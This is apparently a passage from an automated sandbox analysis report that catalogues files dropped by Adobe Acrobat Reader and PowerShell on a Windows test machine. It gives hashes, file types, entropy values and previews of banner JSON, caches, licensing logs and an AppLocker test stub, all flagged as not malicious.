Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269033298596457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfbPtdPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGDV8Ukee9
MD5:	10F2E98DBC5D3D447917D771B7CBB7F4
SHA1:	45A82330553A4AA41B1942AD8248E96B20CF55B5
SHA-256:	3809002CE8A1C10B233F0EAC08ABC28EF8A79F8ED55B072CB1353589956EB03B
SHA-512:	5C5DA48D455DE085DCAEBA19B77440EA69FCC2223401C1B60A2334663E3427B0AECE9A07F1BBDA37C872F67E01299F0F2C368FB58CDBE766FC328343CE711241
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.26844924167681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJf21rPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsG+16Ukee9
MD5:	DF1F3B964FD84BE1EB5CBB72D60B05A3
SHA1:	267ECF68523BCDF63E594168DC27274DAF03780A
SHA-256:	04CE66A2C888F17316828A3E841283BDFFC23A3C0627FFCE15D0308A31E45B58
SHA-512:	E52536089A6B7ABF17D7AE9AC83B3F9D8A484535971BB9B64AF4C85CC92B99317F4C54F8CDA651B4A893220B55665A0AFD039BF4F90F40832EA97DFB46A7525F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666310222535675
Encrypted:	false
SSDEEP:	24:Yv6X8VJhcCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:YvxVJhccBgkDMUJUAh8cvMs
MD5:	94343DEFA74F049E92539D07AF12387E
SHA1:	62DECF9F58F64D77091645D67AED23BC25BE4EB1
SHA-256:	DA4C72EF03A279252B0AE68BBDD0DD4268A3A1984E9DE79A29F82DA90F18AD5E
SHA-512:	458FCB6587F396690C05C9325CDADFC868A29D00414FF72234007154A5D99A2E739E667B5FD3823D7CC40C7EE526B426B09C49504FF8753BE63586C5798EE49C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.242131632357519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJfshHHrPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGUUUkee9
MD5:	0235896815742CEC0C3388DA364405AA
SHA1:	65C5754BC36196A6DDC4024EF3A6F5969F8B4177
SHA-256:	1485BF115A37F358AAD7FEFA7376E1B25643D642E0C5374EAB2EE799C2065A8C
SHA-512:	874D57D6532982CB20F9A11CD37E28C00DB2D2938B14E3652686BEA4B06C3E15E88440D26630AD69A6DC4E86EC3AB5A606E3E781E5C8E85339D7B3F594AADD90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260296834933257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH9CHRTrKcIPms4vB3/dVlPIHAR0YcWDoAvJTqgFCrPeUkwRe9:YvXKX8xfHts4vR/ZwHAwWsGTq16Ukee9
MD5:	F6E85D27858A8C2BBCD8199B2EE724D8
SHA1:	7C635CC5C23971F89AC738442CF62832A686D196
SHA-256:	9F4292B0E6C696DE0B90636A7ADD598AC940FE102EB3454F5BB7E22E95EB5D2B
SHA-512:	CEC66C850BC80AFBDD3614DEA453D24932C635199F833D1812593E5DE56FA91CC1FE38915BE39A24C8890C7F88503ED75485CCB3A1209690842D4329BE8F11B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0459f8a9-f4ba-464a-a4b9-6f9002e9d7d2","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736718851823,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139023965648644
Encrypted:	false
SSDEEP:	24:YgcOwamP1ayGamlppRPSk4Vw2S82btN2LSzjZj0SDPD/gMqlAVC+1l5aP9YM19V2:YR5mjpRaVbQNRNL/5IAVzlO9YMnVWX
MD5:	C0301D5CC45F0EFA7366D57833A69AD1
SHA1:	6ADEFD8C3B6C1D1FB894D300A20C15EB5ABC1ECA
SHA-256:	BE0992F040D3BC6F6B6471433D252420126C4A5749F971C2232A3A2CD9B52BD9
SHA-512:	7A631272EDF6C7622F04B3398B5B703F1FFA3070045169DEE781DA6070C9888351F6D76FE62EC2DAAEB368956FACFC634E97FFDCC9915D7946E18897BA887F57
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b01e5486730a0fec0bcdfcd033429efc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544236000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"af780bac620517d46f7eafecc34aa1e1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544236000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"63f53d9a753849e0322622fdd11287fa","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544236000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8d4031f3c855c67a6556a08eb9ee6eed","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544236000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"42410d2b9d83fe6795f34738ad95bcb0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544236000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f045272aa6815942622c42c7da1b65bb","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192427070302137
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeZ50tqV4:TGufl2GL7ms9WR1CPmPbPahZ4ypilIf+
MD5:	3621C61A525D16050224416CF84E9BEB
SHA1:	7AE0F10183D8D18AB51DDF5B8DA869DED41D5947
SHA-256:	9411EDD91E517122C2871AD373E5CF19EA615CBE8E2F673E2C42BB07B3FED39B
SHA-512:	FDF51CFF098A8121FAEE54194E6C0118AEA0A4BCDACAB706EE463B6511BE5361AC5CC8DD6AFACC6B2819445B2D2FCABED1ECACD9897789B76555FC390A22C14C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7785841189108187
Encrypted:	false
SSDEEP:	24:7+t4Ylhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeZ504qVpaVrScVr0InZqLhT:7M6WR1CPmPbPahZtypilIkqFl2GL7msX
MD5:	23B96840EEBC96988AB77F24E17F8B2F
SHA1:	4D822797F6D9915872FDCE92D31524C85B497DB6
SHA-256:	3846AA278E5867910260DA90A8F9AF022B7DBCA327DC8619197E9C35C3883CF3
SHA-512:	75DDE9A9C15FBB7BD24C213D9C3D8A3B05C5BC95FA497742A427D872F51311E06E8257B749F00581613803C7AA57D0BE96EBA57AAF0D103F58E307E189A8C4E0
Malicious:	false
Preview:	.... .c.....R7JH..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgLZBUWkDUoPmJXPcwxzXhtPLYyu:6a6TZ44ADELZBUWkDmFJdLK
MD5:	22247E55FDEFE08EC928595A7E98CE4C
SHA1:	596FEF6421852EA6ED8AFF3B03AF643501A486A6
SHA-256:	05856F0E0C6E918BBEC9F3B6AAAB627C2DECCAF54439D58B4C90E8BDDE80537A
SHA-512:	58279CE5675649121030B17C4E416C09CBB59C4C48025A5394F9D5D17CFCDAB1E70A9B696768FF5B384ABA21B03E970E6DA5876C413EE11B62DE81B9B23A5185
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI9d36e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNF9:Qw946cPbiOxDlbYnuRK+bDrNF9
MD5:	88949703895BC6A8B0C9D69F713CC3F5
SHA1:	6C4A4E05B0186E27BB7316EDBC8185AB600EF304
SHA-256:	FEEE34DDDF30FE835D79E730EAEE450ABD5EB6EF9089984790BBEEDF30309BD8
SHA-512:	7A5F7B2727EAADD42158075E03296F14CD104C6C55B7BF53735A91E36AB602FF5973CAF8DD6A5DC3B439F437E3E515C763E052C80C466CB1174F3E38859E3AC9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.2.3.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hyytjkra.suq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_klnhorgu.tfs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-23-47-775.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.368815029137753
Encrypted:	false
SSDEEP:	384:pzX2/jrmfXY5cOT+T9KR+Pt3qb8H+jkcSx+dJX+uxAkw2Y1TCTUz0NyNHKkTilY9:VsU9
MD5:	6DF0E8E73F21B9EF56516A4C5534C9D0
SHA1:	ABB298609F4F642337554DC2D9B9FB517A8A5262
SHA-256:	5EC575160D097050A7DC808D7E8EA90E8FC089926FD34D2018D7A51C033C2E5F
SHA-512:	7A8AA3A751791639B94F558FE560A4E7EDD913009F19D1B89C6676866575B9E6314F149ED9FE143508709B8B4468A11636F92234B53167AEB558C6F6E0592A7F
Malicious:	false
Preview:	SessionID=db9a21b4-ee0b-4875-b6d3-e86da54f69b8.1736544227789 Timestamp=2025-01-10T16:23:47:789-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=db9a21b4-ee0b-4875-b6d3-e86da54f69b8.1736544227789 Timestamp=2025-01-10T16:23:47:804-0500 ThreadID=7844 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=db9a21b4-ee0b-4875-b6d3-e86da54f69b8.1736544227789 Timestamp=2025-01-10T16:23:47:804-0500 ThreadID=7844 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=db9a21b4-ee0b-4875-b6d3-e86da54f69b8.1736544227789 Timestamp=2025-01-10T16:23:47:804-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=db9a21b4-ee0b-4875-b6d3-e86da54f69b8.1736544227789 Timestamp=2025-01-10T16:23:47:804-0500 ThreadID=7844 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4048839512869415
Encrypted:	false
SSDEEP:	384:ceo4+rsCEkkgbwxgnZF1ZLQl+gJs9C4ve:9kkgbwxgnZF1ZLQl+gJs9CP
MD5:	906B10195DC0CD55140BE94F51988A50
SHA1:	246C1C0B3D4B4A46D4C76ED2ABA2CB9DFAC39CFE
SHA-256:	1530C17490B584953BAB28452FF7FD0DB6B8D122FA190C09C8878865A7DEEC56
SHA-512:	245819481B36CCF36D262BFD41EEF7B2888AA4A47C9441FC73E6CB0E0B37C0934E748D1516A40699116ED2DCA4247E10494484662E62ADB93F99D86C061D6F54
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e3b46ae-6f2b-4cec-99e7-f95535a35a48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xfwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JfwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	B69083BAF1331D65EACFF18176E7A4B9
SHA1:	3879D2F0A65B42E584F449FC75573FF1CA67FCF0
SHA-256:	57413C09D640851E30B08A0019FCEA0F1F3EDD1A582557F6BF037C8727A43BAC
SHA-512:	9C42B743D4608E8A49DD2B76FF2CA82366DAFCA3D5CD14181FF3291C69F8FB1203C39062FD36879FE6EBF59422502283A7FC3883133C07A5938F7C362716099B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bab7ddea-d386-433a-a0d6-e5cea257d8a9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c6f4c18d-1b7f-413c-b61a-88929d012420.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
